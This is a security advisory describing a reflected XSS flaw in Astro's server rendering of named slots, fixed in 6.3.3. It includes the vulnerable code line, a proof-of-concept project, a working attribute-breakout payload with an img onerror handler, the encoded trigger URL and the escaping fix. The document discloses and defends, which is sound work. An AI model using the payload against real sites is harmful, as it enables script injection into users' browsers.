Astro: Reflected XSS via unescaped slot name
Published 16 Jun 2026 · Updated 12 Aug 2026
Affected package
- Affected
- <6.3.3
- Fixed in
- 6.3.3
npm install astro@6.3.3Details
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>src/components/Wrapper.jsx
export default function Wrapper() { return null; }Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />
This will render in html.
<template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`---
Is GHSA-8hv8-536x-4wqp in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected astro, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.